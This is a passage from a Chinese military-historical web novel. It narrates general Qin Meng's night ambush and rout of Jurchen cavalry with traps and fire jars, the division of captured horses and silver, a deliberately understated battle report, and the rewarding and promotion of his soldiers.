受惊的战马疼得人立而起,前蹄在半空疯狂蹬踏,背上的女真骑士来不及抓稳缰绳便被狠狠甩飞,重重砸进积雪里,口鼻瞬间涌出鲜血。
前排马匹轰然倒地,滚作一团,后面收不住势的骑兵仍在催马猛冲。
受惊的战马乱跳乱躲,却接二连三踩进脸盆大的陷马阱。
有的前腿直接陷进坑底断了腿,有的被暗藏的削尖竹刺穿透皮肉,疼得发狂乱蹦。
有的连人带马栽进大坑中,竹刺瞬间刺穿马腹与甲胄,鲜血顺着坑壁汩汩流下,将坑底的积雪染成暗红。
原本呼啸冲锋的骑兵阵,眨眼间乱成一锅粥:人喊马嘶混着竹刺穿透皮肉的闷响,还有骑士的痛呼,在风雪中交织成一片绝望的嘈杂。
而这接应队伍过河选好地方,精心布下的绊马索与陷马阱,正是秦猛以少敌多的底气所在!
简单的陷马坑,绊马索,此刻却将女真骑兵的复仇怒火,狠狠砸进这片冰冷的死亡陷阱里。
第138章 女真大溃败
高速冲锋的骑兵前排骤停,近百人瞬间失去控制。这既是中伏的信号,又是可怕的灾难。
前队人马倾倒翻滚,后面收不住冲势的骑兵连人带马撞成一团,人喊、马嘶,惨叫混杂交织。
原本严整的冲锋队形瞬间土崩瓦解,乱得像被冲散的蚁群。
“不好,中计了!”骑术精湛、及时勒马的阿古达听着那凄厉的惨叫,瞬间意识到陷入了埋伏。
但他是部落的勇士,身经百战,立刻就反应过来。
“不要乱,不要慌,后队变前队,快……”
可惜已经为时已晚,他最后“撤退”两个字还没说出口。
“就是现在!”秦猛率先冲锋,丈八铁枪直指天空。
“杀——!”
一声令下,震得空气都在颤。
红色的号炮升空炸响,埋伏的三路骑兵如同离弦之箭,从三个方向猛扑向混乱的女真军阵。
马蹄声如雷,喊杀声震天。
三百多人披风湿透,面甲下湿布裹脸,连胯下战马浑身湿漉漉,双眼也被嚼笼缝的湿布蒙住。
这是专门为配合燃烧瓶研究的战术!
尚未接战,左右两翼已如蛰伏的猛虎般率先发难。
数十个被点燃的陶瓶被军中力士奋力掷出,漆黑夜里划出一道道弧线,砸入女真骑兵阵中。
“轰!轰隆!”
陶瓶落地即爆,火油四溅间,冲天火光接连腾起。
烈焰瞬间吞噬了近前的人马,鬃毛燃着的战马受惊人立,前蹄乱蹬间将身旁同伴撞得人仰马翻。
无数陶瓷碎片如利箭般飞射,就近的人和马身上多出血窟窿,运气好的直接被陶片划开脖子。倒霉的被刺瞎双眼,发出凄厉的惨叫……
恐怖的爆炸声混着高温火焰,伴随着惨叫蔓延。让从未见过此等火器的女真兵魂飞魄散。
被点燃的士兵在地上翻滚嘶吼,身上的火焰却越烧越旺,着火的骑兵乱跑,连带着引燃更多袍泽,整个女真先锋军仿佛坠入烈火炼狱。
原本勉强维持的建制瞬间崩解,只剩一片混乱的哀嚎。
“凿穿他们!”秦猛眼中寒光暴涨,胯下踏雪乌骓似一道黑色闪电,驮着他径直闯入火海。
丈八铁枪在他手中翻飞如毒龙,枪尖每一次刺出、横扫,狂砸…,都带起一蓬滚烫血雨。
他目光如炬,越过混乱的敌兵,锁定着那在乱军中挥刀嘶吼、试图重整队伍的女真猛安阿古达。
——此人不死,敌军便有复聚的可能。
阿古达亦是女真部中悍勇之辈,仅次于头号勇士扎哈尔。生的虎背熊腰,能徒手搏杀人熊。
见秦猛直冲自己而来,他当即怒吼着提刀迎上。
“当!”刀枪相撞的瞬间,火星在火光中炸开。
阿古达面露惊愕,他只觉手臂发麻,虎口险些裂开。
可他坐骑虽神骏,但早已被火光惊得心神不宁,蹄子乱刨着不肯上前,鞑子又是单边马镫。
阿古达分心控马的刹那,秦猛已借力旋身,铁枪如长鞭般横扫而出,重重砸在他腰肋甲胄上。
“咔嚓”一声脆响,阿古达闷哼一声,险些坠马,还未等他稳住身形,秦猛的铁枪已如毒蛇吐信,顺着甲胄缝隙疾刺而入,瞬间洞穿他右胸。
“大人!”
阿古达身后几名亲兵嘶吼着扑来,手中弯刀直劈秦猛后心。
秦猛不慌不忙,拽出腰刀,削掉一人脑壳。再回手一挑枪杆,将阿古达甩向亲兵,同时侧身避开刀锋,铁枪反手一戳,刺穿一名亲兵咽喉。
可剩余亲兵竟不顾生死,拼死将阿古达拖向后方,想要突围撤退。
“呔!主将已死!”通晓女真语的寨兵见了,抓住时机放声大吼,喊声在战场上此起彼伏。
本就人心惶惶的女真兵听见这话,士气更是一落千丈。
不少人见到仅一个照面,就被契丹将戳穿胸膛的猛安勃极烈。握着弯刀的手都开始发颤。
就在此时,三路人马已如三支利箭,狠狠撞入敌军核心。
左翼人马撞入后斜着冲锋,断其后路。周扬手持长柄大刀,刀刃劈砍间连人带马劈倒一片。
身旁袁飞则挺着长矛,他擅长射箭,近战却也很了得。每一次刺出都能让一名骑兵摔落马下。
右翼骑队插入敌军中段,直挺挺冲锋。王善挥舞长枪,借助冲锋的势头,轻松将敌人捅穿。狂砸在鞑子身上便是一声闷响,将其打飞。
徐强则率领小队绕到敌兵侧后,时而包夹围杀,时而用短弩精准射杀试图放冷箭的敌兵。
中路更是锐不可当。
秦猛在前开路,硬生生撞开一条血路。麾下部将秦大壮手持长柄宽背大刀,王铁山则提着朴刀。两人一左一右,见人便砍,刀刀致命。
队将王良、牛五逐渐打出了配合,专挑穿铁甲的下手。王良用长枪牵制,牛五挥斧劈杀。
阮大,阮二,阮三哥仨更是默契,一个在前搏杀,两个在后弓弩辅助,杀敌效率更甚其他人。
一众将官如狼似虎,身先士卒,各领小队在敌阵中横冲直撞,不要命的砍杀着可恨的鞑子。
怒骂声、喊杀声、兵刃碰撞声、惨叫声交织在一起,奏响死亡交响曲,震得夜空都在颤抖。
猛安大人阿古达被杀的消息传开,加之火攻的震慑与三面夹击,女真骑兵彻底没了战意。
不知是谁先喊了一声“跑啊”!
榜样的力量无穷!有第一个逃窜,就有第二个。
女真兵明明有数百人,可群龙无首,不知敌人数量,又有人带头跑。恐惧蔓延,四散溃逃。
“追!但不可过远。”秦猛勒住马,高声下令。
秦大壮,王铁山,王良等人各自带队,衔尾追杀。甚至丢燃烧瓶拦路,围追堵截,进群收割。
另外两支队伍岂能这样善罢甘休?
周扬,王善等人立刻率领小队追上去。人人呐喊,气势汹汹,将溃兵一路驱赶出数里地。
袁飞望着前方几十名女真溃兵的奔逃,铁靴猛地一磕马腹,胯下战马人立而起,发出一声长嘶。
他左手勒紧缰绳,右手已从背后摘下黑铁巨弓,捻出箭簇时,耳后突然传来急促的马蹄声。
“袁飞兄弟,且慢!”阮大的笑声裹着风雪冲过来。
他身后阮二、阮三正催马并肩,三匹战马踏得积雪飞溅,“将军总说你箭术能开石裂碑,今日正好有鞑子当活靶,咱哥仨陪你赌一局如何?”
阮二抽出箭矢搭在弦上,眼神亮得像淬了火:“听说狗鞑子喜欢射猎,还拿汉人来试箭。咱们正好也来学一学,比谁射倒的溃兵多。”
“输的人回营后自罚三碗烈酒!”
袁飞眼底瞬间燃起好胜之光,他十三岁从军,凭箭术在军中挣下“霸王箭”的名号,岂容人比下去?
“好!”他铿锵应下,抬手将巨弓拉成半满月,却故意顿了顿:“三碗不够,输家得连干一坛!”
话音还飘在风里,阮二的弓弦已“嘣”地炸响。
那支箭像道黑色闪电,精准钉进最右侧女真兵的后心,那人连哼都没哼,直接从马背上栽进雪堆。
阮三紧接着抬手,竟是连珠箭的手法,第一箭射穿马腿,战马轰然跪地时,第二箭已穿透兵卒的咽喉,箭尾的羽毛还在雪地里颤了颤。
最惊人的是阮大,他打马往前冲,身子几乎贴在马颈上,一箭射出,不仅射穿了一名兵卒的咽喉,余势不衰,还擦着前面人的胸口掠过。
两道惨叫混着风雪砸过来来。
“好,好!”周围的军汉早已喊起好来。
袁飞深吸一口气,目光锁定了两百步外跑在最前的溃兵。
那人缩在马背上,身影在黑夜里只剩个模糊轮廓,寻常弓箭根本射不到这距离。
他缓缓松开手指,箭矢破空的瞬间,连风雪都似被劈开。
——箭簇不仅穿透了对方的肩胛骨,还带着一股蛮力将人从马背上掀飞,“噗”地钉进雪地里。
三几人相视一笑,催马继续追杀,一个个疯狂拉弓射箭,身后留下遍地尸骸与乱跑的战马。
见追兵溃败,秦猛当即下令鸣金收兵,毫不恋战。
将士们迅速行动起来,收拾战场散落的箭矢、兵器,鞑子身上的金银饰品,牵走乱跑的战马……
恰巧此时,来接应的队伍赶来。
接应的军卒牵着备用马匹,有的正搬运着战马的尸体,还有人提着水桶,继续清理沿途痕迹……
一切收拾妥当后,队伍绕了个大圈,朝着拒马河畔快速靠拢。
参战骑兵虽人人带血,都有人受伤,但却个个挺直脊梁,眼中满是胜仗后的激昂与骄傲。
这一夜,踏雪夜袭,火破敌阵,以三百之众击溃女真兵千多人,焚营夺马无数,战果赫赫。
可秦猛没有丝毫放松,他勒住马,望向草原深处,那里漆黑一片,却仿佛藏着无数双窥伺的眼睛。
他清楚,今夜这一战,只是开胃小菜。一场更大的风暴已被引起,很快便会席卷整个草原。
第139章 凯旋分金藏锋芒
当队伍踏过界河,脚下传来熟悉的土地触感,一股踏实感油然而生。
许多士兵终于按捺不住,爆发出畅快淋漓的笑声,有人甚至跪地亲吻泥土,也有人相拥欢呼。
秦猛勒住马缰,回望身后茫茫草原,笑容冰冷:“这才只是开始,他们敢来劫掠,杀人,我们就端了他们的马场。以血还血、以牙还牙。”
——这才是给鞑子最好的教训!
清点伤亡时,王善快步上前禀报:“将军,此次我军仅十多人轻伤。飞虎卫的弟兄几十人挂了彩,重伤员也有十来个,但无一阵亡!”
秦猛长舒一口气,抬头向东望去。
天边泛起鱼肚白,在草原两个多时辰,快要天亮,
“回军寨!”
他调转马头,扬声道:“今日全军庆功,酒肉管够!”
晨光熹微,照亮战士们疲惫却振奋的脸庞,也照亮了他们身后浩浩荡荡的马群和满载战利品的马车,仿佛天地都在为这场大胜喝彩。
奸细一事如阴影笼罩,铁血军寨气氛并未放松。
烽燧堡,瞭望手严阵以待,发现队伍归来,欢呼来迎。
与铺堡后门处,值班岗哨迎接另一支队伍相同。
昨夜围剿废弃窑厂的队伍也已返回,十来个俘虏被押入地牢,并缴获三十多匹草原骏马、十余头牛羊,以及价值数百两的金银饰物。
这是李山与刘铁柱一路的成果。
但与秦猛直捣草原、劫掠马场的斩获相比,不过九牛一毛。
此次袭击,他们驱赶回来的牲畜数量惊人——
最终击溃追兵,又缴获战马超五百匹。
诸葛风与李恒连忙带领壮丁出寨,将成群牲畜分流至附寨、寨外军营及飞虎卫临时驻地。
一时间,寨外喧嚣鼎沸,人马嘶鸣。
诸葛风临阵指挥,沉稳如定:
他令老弱搬运草料,引牛羊入新棚。
分派青壮清理扩建的厩舍,将战马按数量分厩安置;更急调兽医诊治伤马,专人负责饮喂。
“死马悉数送屠宰棚,连夜剥皮,分割,不得有误!”
“破损兵甲盔鞍,立即送往作坊,召集匠户修缮重组!”
“猪羊归南圈,牛驼入北坳,各派十人轮班值守,添足夜草!”
一道道指令清晰传出,众人应命奔走,虽忙不乱。
幸亏秦猛此前未雨绸缪,因缴获马匹渐多而扩建马厩、牛棚,飞虎卫驻地也新建了大量草棚。
否则根本容纳不下如此多的牲口。
待场面稍定,诸葛风才带人细细清点、造册登记。
战利之丰,令人咋舌:
两次缴获,共得上等草原战马一千三百余匹。
优质驮马六百多,皆膘肥体壮,亦可作战或骑乘。
牛六百多头。
肥羊一千余只、肥猪九百多头。
驴、骡、骆驼等兼养牲口三百余头。
尽管途中逃散不少,仅驱回部分,仍堪称巨获。
此外,更拖回死马三百多匹,以及来不及细搜的金银珠宝:黄金一千五百两、白银逾万两。
另有一批寨兵在马场拉来数十辆马车,其中不少装满了精饲料、皮货、人参药材等杂物。
秦猛回到官署,洗净血污后,才与陈月娘,秦小芸报了平安,用完热粥与肉包,倒头睡至中午。
起身整装,来到大厅,才从诸葛风口中得知此次收获如此之巨。
随之而来的,便是战利分配。
此次夜袭,由军寨拷问情报,秦猛洞察战机、制定计划、亲率出击。que因军寨兵力有限。
他才邀周扬出兵相助,事前已允诺分润好处。
除杀敌军功外,战利三成归出战官兵。
秦猛请来周扬、袁飞、徐强,开门见山提出分配方案:
草原良马,飞虎卫得五百匹;驮马三百归其所有。
六百余牛归铁血军寨开荒。
猪羊等牲畜,周扬一部取三成;
金银财物,同样分其三成。
“没问题,就依此分配!”周扬极为满意——飞虎卫已占足便宜,他摆手道:“秦兄弟,那些死马、兵器、破甲等杂项就不必算了,只需寨中多送些炖肉来营,犒劳弟兄们即可。”
这些杂项虽价值不低,但处理起来琐碎费事,如死马要处理,装备要修缮,不如做个顺水人情。
“好,一言为定。”秦猛也没有点破,爽快应下。毕竟这杂物中皮货药材还是值不少钱的。
“接下来是该想想,此番越境夜袭该如何上报。”秦猛摩挲着下巴上长出的稀疏胡茬,沉吟道。
“两场杀敌之数可如实禀告,甚至可略渲染将士英勇奋战。但这战利所得……须往少里报。”
“这是为何?”袁飞忍不住问。
周扬、徐强也看了过来,面露疑惑。
“难道诸位以往未曾上报过大胜?”秦猛见三人神色,诧异反问,“从前可曾有过类似缴获?”
“与鞑子交手虽常胜,但如此战果……实在少有。”
周扬话至一半,忽然收声,似乎想明白其中关键。
秦猛一针见血地点出要害:“正是。若是小打小闹,上报帅司即可,按军功嘉奖擢升。然此战乃是大胜,必报至帅司,甚至上达天听。
如今世道浑浊,腌臜泼才,眼红心黑之人不少。战马和金银等收获太巨,易招贪念嫉妒。”
“不如谎称敌军追迫,未及仔细打扫。只上报千夫长哈达等军官首级、金牌、印信,再献上俘虏。”
“可昨夜并未留活口。”周扬疑惑。
“我有啊!”秦猛微微一笑。便将奸细与接应之敌落网,昨夜派人分兵围剿之事娓娓道来。
周扬、袁飞等人相视骇然——这位年轻知寨手段缜密如斯、步步为棋,竟将隐患一举拔除。
“环环相扣,秦兄弟谋略过人。”周扬叹服。
“闲话不提。”秦猛摆手道,“战利少报,不影响军功。但实实在在的好处,须牢牢握在手中。你们那一份,落到赵将军手里,才是正理。”
袁飞、徐强、周扬等人纷纷点头称是。
秦猛又请来老保长、诸葛风、秦大壮等将领,共同商议文书细节,查漏补缺,确认无误。
最终拟定战报公文,一式三份。
文中如实陈述战事,列明参战主力,两场厮杀简要提及,杀敌数如实,缴获则大幅缩水。
秦猛特加注:因军情紧急、鞑子势大,来势汹汹。拷问得知战机后不及请示,遂果断出击。
他签字用印,周扬等人也联署作证。
随后各自选派一队精锐斥候,疾送幽州大营。
“驾!驾!”
午后,两支七八人规模的骑队先后驰出军营。
人人双马,配备双镫与马蹄铁,踏雪破风,直奔幽州。
……
两日后,幽州以北。
北行山脉盆地深处,飞虎卫大营。
赵起将军接到战报,先是怔然,随即爆发出一阵洪亮大笑:
“好!好!秦猛此子果然有胆有谋,未曾令我失望!”
“将军,有何喜事?”亲卫统领赵平好奇问道。
“你自己看。”赵起将飞虎卫所呈战报递给他。
“他又打胜仗了?斩敌如此之多?”赵平接过细看,不禁瞪大双眼。
战报上书:夜袭焚毁鞑子马场,杀敌千余;伏击援军,再斩七八百,共计歼敌,逾两千。
“是啊,实在令人振奋。”赵起连连颔首,“前次破契丹、斩首过千,才上报不久,又建这等奇功——此次杀的是女真鞑子,动静更大。”
“将军的意思是……?”赵平听出他话中有话。
“木秀于林,风必摧之。”赵起脸上笑容渐敛,叹道,“如今朝局纷乱,秦猛虽是我虎贲军之幸,却必成他军之忌,更招那些软骨头、谄媚之徒眼红。”
说到此处,他眼中寒光一闪:“秦猛接连斩敌,越界河袭马场,必成他人眼中钉,肉中刺。”
“将军打算……?”赵平神色凝重起来。
“升官太快,非为福事。不如助其实权,多予甲械粮秣。”赵起一字一句道,恍惚间想起当年自己也是这样锋芒毕露,老帅也是如此护持自己。
赵平担忧道:“可秦猛年纪轻轻,锋芒正盛,恐怕不肯……”
赵起却哈哈大笑:“你放心吧,那小子比谁都精明——巴不得如此!”
他说得笃定,只因怀中揣着一封密信。
——那是袁飞派人加急送来的真实缴获数目,与战报所写天差地别。另附秦猛之言:主张少报,不为扬名,尽是弟兄拼死奋战,不愿招摇。
“此战,我自会禀报帅司。”赵起心绪涌动,正色道,“铁血军寨乃我虎贲楷模,竟有宵小断其粮道——致使军民饿死,本将岂能坐视?”
第140章 战后余波
时间追溯至大胜归来当天。
铁血军寨内一片喜气洋洋,参与战斗和负责接应、驱赶牲畜的队伍,前后加起来接近千人。
人声鼎沸,笑语喧天。
人多口杂,消息如同长了翅膀,根本瞒不住。
“听说了吗?秦将军就带了两三百人,昨晚直接杀过了界河!”
“岂止!说是踹了女真**的老窝,斩了两千颗脑袋!”
“哎哟喂!那牛羊马匹,一眼望不到边,统计到天亮都没数完!”
“明年开荒种地,耕牛是不缺喽!”
……
天刚亮,有关夜袭的种种传闻就已一传十、十传百。
人们拍手欢庆,奔走相告,越传越是神乎其神。
到了午后,更是以讹传讹,变成了秦猛将军仅率百八十骑,便如天兵下凡,直接杀穿了**三千大军,斩首两千,杀得敌人丢盔弃甲,狼狈逃窜。
甚至连不少孩童都拍着手,在街巷间蹦跳着唱起了新编的童谣:
“秦将军,真勇猛!
骑大马,挽雕弓!
夜过河,像阵风!
砍**,除大害!
夺马来,抢牛用!
保咱寨,立大功!”
童稚的歌声清脆响亮,为军寨的欢庆更添了几分鲜活之气。
……
医疗所内,迎来了新一批伤兵轻重伤员有七八十人。
医官唐博忙得脚不沾地,但脸上却带着压抑不住的兴奋。
——秦猛派人送来了大量从**那缴获的药材,如人参,甘草,黄芪等都是军中紧缺的良品。
林婉儿自然也听到了主寨内外的喧嚣和童谣。
女孩家听到众人如此颂扬秦将军勇猛,心里头像是含了蜜,甜丝丝的。
她脑海中不自觉地又浮现起那日,他拍马疾驰、如天神般降临将自己救下的场面,脸颊顿时飞起两抹红晕。
侍女小蛮在一旁瞧着自家小姐这般女儿姿态,却是愁眉苦脸地嘟囔:“秦将军什么都好,勇猛善战,人也生得俊俏…就是、就是已经有了……”
林婉儿眼神瞬间一黯,她当然知道小蛮未尽之语是什么。
——秦猛有了那位未过门的妻子。
方才的欣喜像是被微风拂扰的烛火,摇曳着低落下去。
但她很快深吸一口冷冽的空气,重新振作起来,只将那份悄然萌动的心思更深地藏起,转身更加专心地帮着处理药材、照顾伤兵。
中午吃饭的间隙,她忍不住拉着忙里偷闲的陈月娘,小声地问东问西,既想知道昨晚战斗的惊险,更想探听那些关于秦猛过去的传闻……
主寨靠河边的屠宰棚,此刻忙得热火朝天。
三百多匹死马被不断地运送过来。张富贵家即便生意最好的一年,也没经手过如此多的牲口。
整个军寨几乎都被惊动了。
许多妇人、老者都自发来帮忙烧水、搬运,更多的休息之余,围在一旁看热闹,啧啧称奇。
这些马匹,有的被烧得皮**焦黑,有的身上插着箭矢,但大多都是落入陷马坑、或被绊马索弄断了马腿,好了也是残废,不得不就地斩杀。
许多前来帮忙的军汉和劳力拍打着那些即便死去仍能看出雄健体格的马儿,无不摇头叹息:
“哎,可惜了,真可惜了!这都是上好的战马啊!”
“是啊,若是活的,那得值多少银钱……”
闻讯赶来的张崇更是看得痛心疾首,连连跺脚。
突然,此地嘈杂突然被带着不悦的训斥压下:“你俩好歹也是带兵的部将,岂能如此小家子气?”
众人连忙噤声看去,无不是错愕当场。竟是秦猛正板着脸喝斥垂着脑袋的秦大壮和王铁山。
并非秦猛不给他们留面子,实在是歪风邪气不可涨。
原来,方才秦大壮和王铁山也带人过来帮忙,却看着堆积如山的死马,哭丧着脸,恨不得抽自己几个嘴巴子。
一个嘴里嘟囔着:“早知能缴获这么多活马,当时布置陷阱就该不那么狠,不埋下尖竹……”
一个附和:“没错,心疼死我了!”
这对话,恰好被巡视的秦猛听个正着,又见两人打算以后手下留情的样子,当即黑了脸。
他真怕手下心态膨胀飘了,从而连累全军将士。
“你们有什么好心疼的?”秦猛目光扫过两人,声音沉肃,“咱们就扎在草原边上!没了战马,老子带你们去抢!**有什么,咱就抢什么。
若因为心疼马匹,布置陷阱时怠慢了手软,那要用什么去填?难道用我们自己弟兄的命去填吗?”
“不是!将军。”秦大壮和王铁山浑身一凛,涨红着脸,大声回应:“我们绝不是这个意思。”
“那就记住!”秦猛语气放缓,却依旧铿锵有力,“对付要你命的**,绝不可有半分留情。任何时候,手下弟兄的性命,都比马匹金贵!”
“是!”秦大壮和王铁山脸颊发烫,却昂首领命。
见两人羞愧地低下头,秦猛话锋一转,拍了拍他们的肩膀:“不过,这场仗,你们打得确实不错。勇猛冲阵,各自斩获不下二十级。
其中还有什长、百夫长。这都是扎实的军功,军功薄上记着嘞,是通往更高位置的阶
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梯。”
“是!谢大人!”秦大壮和王铁山目光瞬间变得炙热,昂首挺胸。周围不少人也投来艳羡的目光。
“再接再厉!”秦猛又勉励一句,这才转身继续巡视。
打一棍子,再给个甜枣。身处在这个位置上,秦猛已无师自通地开始考虑得失,琢磨如何把握麾下人的情绪,纠正偏差,激励士气。
不知不觉,正逐渐向一名真正合格的将领蜕变。
“猛哥儿……真有大将之风了。”
秦大壮望着他离去的背影,心情复杂地感慨。
想到昔日那个还有些痴傻的后辈,再想到如今全凭他提拔自己才有今日,心中更是涌起一股热流。
这番场景,不仅让周围军卒劳力羡慕,也同样让许多原本不想参军的青壮燃起从军热情。
只要跟着秦将军,就能飞黄腾达。
人群中的李山和刘铁柱看在眼里,急切在心头。
两人对视一眼,都从对方眼中看到了相同的心思。
——昨晚负责围剿奸细和接应小队,抓到了10多个俘虏,虽说也有功劳,但比起正面冲击马场、酣畅淋漓的大战,实在显得微不足道。
他们挤开人群,快步追上秦猛。
“将军。”李山率先开口,扯了扯依旧有些不适的胳膊,“我们伤势已基本痊愈,无大碍了!”
刘铁柱也赶忙补充:“下次这种夜袭**战,能否让我二人也带队参加?绝不给大人丢脸!”
秦猛看着这两位求战心切的老部下,笑了笑:“放心,咱边陲**嚣张得很,仗有你们打的。
等赵虎和陈石那边探查清楚,一旦**赶过来,咱便对狼戎动手,便由你二人带队前去设伏。”
“谢大人!”李山、刘铁柱闻言大喜。
“不过,你俩还是要好好养伤,不可掉以轻心。”秦猛脸上笑容收敛神经变得严肃,叮嘱道。
“记住我的话,暗中较量,那是好事,但不要过头,只有活着,才能杀**,才能建功立业。”
“是,我俩记下了。”李山和刘铁柱郑重点头,心里感动不已。终究是一个堡走出去的将军。不仅立功想着自己人,也如此关心手下。
两人退下后,又忍不住折返,拉住参与昨夜之战的军卒,仔细打探那场惊心动魄的夜袭。
张崇也斥四处打探,昨晚发生的事。
听得秦猛如何带队潜行、如何纵火、如何冲杀、如何设伏……不禁心潮澎湃,感慨万千。
“夜袭敌营,斩首逾两千级!这才是大丈夫所为!”张崇握着拳,眼中满是向往与跃跃欲试。
第141章 **行赏
军寨,议事厅。
炭火在炉中噼啪作响,亲兵放置装满的水壶。
秦猛刚刚巡视完归来,卸下沾雪的大氅挂好。跳动的火苗将他棱角分明的脸庞映得明暗交错。
他靠坐在虎皮椅上,目光沉凝地落在案前羊皮地图上。指尖叩击桌面的节奏,透出几分肃杀。
此番能一举端掉**暗桩,反袭**马场建功。
——庞仁的警觉居功至伟,但陈麻子那看似偶然的撞破奸细,实则挽救了整座铁血军寨。
这两人虽未直接执刃杀敌,但其功却不容抹杀。
庞仁那边好办,军寨调拨两百匹上等草原马即可。既是对他的嘉奖,亦是趁机组建骑兵。
倒是这个陈麻子……需得重赏,更需重用。
而且要以此为标榜,做一做宣传!
秦猛眸中锐光闪烁。
细作能渗透一次,便会有第二次、第三次。军寨不能总指望运气抓奸细,不能被动挨打。
必须有一双时刻紧盯暗处的眼睛,一张能捕捉风声的网。
流民筛查规程还要加强,增加观察阶段这道关卡。
但更重要的是主动出击。
于寨内防微杜渐,于寨外广布耳目。
奸细混入,无疑是给军寨提了个醒。
不单防范草原,还有朝廷糟粕,此事,刻不容缓。
“请陈麻子来。”秦猛朝侍立一旁的亲兵扬手。
不过片刻,陈麻子便被引至厅前。
他显然刚从伙房赶来,旧棉袄袖口还沾着些许煤灰,那双因常年劳作而粗糙开裂的手,仍紧紧攥着扫雪的竹扫帚,仿佛那是他的护身符。
进得这威严肃穆的议事厅,他下意识地缩了缩脖子,脸上密布的麻痕透着一股局促不安。
秦猛打量他片刻。
此人貌不惊人,身形中等,丢入人海便寻不着。
偏偏是这种再普通不过的市井相貌,反倒成了极佳的掩护——谁能对一个苦力心生警惕?
“秦…秦将军,您寻小人?”
陈麻子声音发紧,头几乎要埋进胸口。
“你且抬起头说话。”秦猛起身,踱至他跟前,语气较平日缓和些许,“此次,你立了大功。”
“若非你撞破张五与那商队的勾当,又心存善念,及时来报,军寨必定被袭,上下将陷于慌乱。”
“本官既说过重赏,便绝不含糊。”
秦猛略一颔首,侍立一旁的牛五当即拎着一个沉甸甸的布袋,将里面物事“哗啦”倾在案上,
咕噜噜,硬物滚动,竟是五锭官铸足色纹银。
银光灼灼,刺人眼目。
整整一百两,一家三口十年都不一定能够攒下。
足以买下良田数十亩,盖上青砖瓦房,余生温饱不愁。
秦猛的声音缓而沉,似带着某种诱人的蛊惑:“这是你的奖励,拿了它,做个逍遥田舍翁。
或置办间铺面,开旅社酒楼,日后军寨人丁愈盛,商旅云集,何愁不能日进斗金,安享富贵?”
陈麻子的呼吸陡然粗重起来,眼睛死死粘在那白花花的银锭上,喉结剧烈地滚动了一下。
他颤巍巍地伸出手,指尖几乎要触碰到那冰凉而诱人的银块,却在最后一瞬,如被火燎般猛地缩回!
“怎的?”秦猛挑眉,面色微沉,“嫌少?”
“不、不!将军恕罪!”陈麻子急得语无伦次,额角渗出细汗,“小人……小人想选第二条路。
求大人准我入军,搏个正经前程!”
此言一出,不仅牛五面露诧异,连秦猛眼底也掠过一丝不易察觉的波动,欣赏之色更甚。
“哦?放着现成的富贵不要,偏要入伍吃苦搏命?”秦猛踱回案后,目光如炬,“给个缘由。”
陈麻子深吸一口气,那始终微佝的背脊竟渐渐挺直了。
“逃难路上,人皆嫌我貌丑,骂我面上麻子是瘟煞,克死爹娘……
唯有到了铁血军寨,这里无人笑我辱我,给饭吃,给屋住,发棉衣,让我活得…像个人。”
他眼眶发红,声音却愈响,“我不要银钱!我想披甲执戈,堂堂正正地杀**、守寨门!”
我要让所有人都瞧瞧,陈麻子不是废物,虽无貌相,但却也能挣军功,也能顶天立地!”
陈麻子字字铿锵,掷地有声。
秦猛凝视他片刻,眼底的锐光渐化为激赏,猛地一击掌:“好!有志气!本将准你入军。
按军功,升军职。即日起,擢为提名队将!望你刻苦训练,若三月训练考核达标,即刻扶正!”
“谢将军!”陈麻子激动的声音发颤,抱拳的手都在抖。队将是末流武官,职位再小也是官。
“且慢。”秦猛抬手止住他,目光重新变得深沉,“还有个更重的担子,险得很,也紧要得很,你敢不敢接?”
“将军但请吩咐!小人万死不辞!”陈麻子昂首挺胸。
秦猛神色肃然,压低声音说道:“我要你暗中组建一支‘察听队’,专司内外情报刺探收集。
如寨内新来流民可有言行异常?
寨外商旅队中是否藏奸?甚至市井茶馆间流言蜚语,凡有异状,皆需留意汇总,直报于我。”
“将军,属下不会。”陈麻子略显焦躁。
“无妨,我会!”秦猛笑着摆手,逼视着他,“你可自行挑选十来个机灵可靠、眼尖嘴严的。
每日上午照常参加操练,下午便来此处——我亲自教你们相人神色、听话中门道、辨消息真伪。”
牛五在旁适时补充,语气也郑重许多:“譬如寻常人抱怨粮价上涨,是无心之语;若有人刻意打听军粮库存、巡防轮值时辰,便属可疑。
这其中分寸拿捏,察言观色之法,将军都会倾囊相授。何况你小子脑袋灵活,适合干这行。”
陈麻子怔在原地,脸上闪过茫然、惊愕等多种神色。最终咬牙瞪眼,化为一种沉重的决然。
他忽然单膝跪地,抱拳过顶:“小人陈晓,愿接此令!必竭尽驽钝,做好本职,不负将军重托!”
“这银子,仍是你的。”秦猛将他拽起,又把钱袋重新系好,亲手塞入他怀中,“这是你应得的。
娶房媳妇,明年
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开春分了地,安家落户。往后用心当差,你的前程,岂止这百两银子?”
陈麻子紧攥着那沉甸甸的钱袋,只觉得有千钧之重,一股滚烫的热流却自那银锭上涌入四肢百骸。
他抬头,眼眶通红:“将军……知遇之恩……陈晓这条命,今后便是大人的,必定效死以报!”
他重重叩首,额角沾地。
“不许跪。”秦猛再次将他拽起,指着自己鼻梁,朗声一笑:“瞧瞧我,当年也被人笑是傻儿。
如今不也保家卫国?可见皮相出身皆不足论。只要你忠心用事,肯学肯钻,何愁不能成就一番事业!”
他用力拍了拍陈麻子的肩膀。
陈麻子不再多言,只是将那份滚烫的知遇之恩,重重烙进心底,发誓,要将这差事做好。
……
未时刚过,军寨内欢腾之气愈浓。
此番庆功宴因大雪无法露天举行,且人数激增,难以如往日般人人分钱赏粮,却也每户分了十斤鲜马肉,足以令这个雪夜香气四溢。
那三百多匹战马虽死,却留下了十数万斤马肉,足以让全军寨,整个冬季都能尝到荤腥。
天色渐黯,附寨伙房区域灯火通明。
二十余口大灶同时开火,炖马肉、烤全羊、猪肉粉条、鲜鱼汤的浓香交织在一起,粟米饭与杂粮窝头管够。
宴至酣处,秦猛立于临时搭起的高台,火光将他身影拉得挺拔如山。
他手持功勋册,朗声唱名:
“王善,**率队冲阵,各斩首数十级!各追赏良驹一匹,银百两!”
“秦大壮,王铁山,牛五,阮大,阮二,阮三,**随本将冲锋,破敌攻势,追赏良驹一匹,银百两!”
“李山,刘铁柱率队绞杀**,彻底拔出奸细隐患。功劳甚大,追赏良驹一匹,银百两!”
“齐达,刘冲,设伏有功,擢为队将……”
……
足足有百来个寨兵参战,因功劳擢升。其中齐达是常家护卫,刘冲是韩勇手下,皆勇猛过人,武艺高强,杀敌十人以上,靠军功晋升。
功勋榜念至末尾,秦猛声音陡然拔高,压过喧哗:
“陈晓,察奸有功,使军寨免于大患!擢为提名队将!
赏银百两——此银,他分文不取,自愿全数充作军资。”
人群霎时一静,旋即哗然!
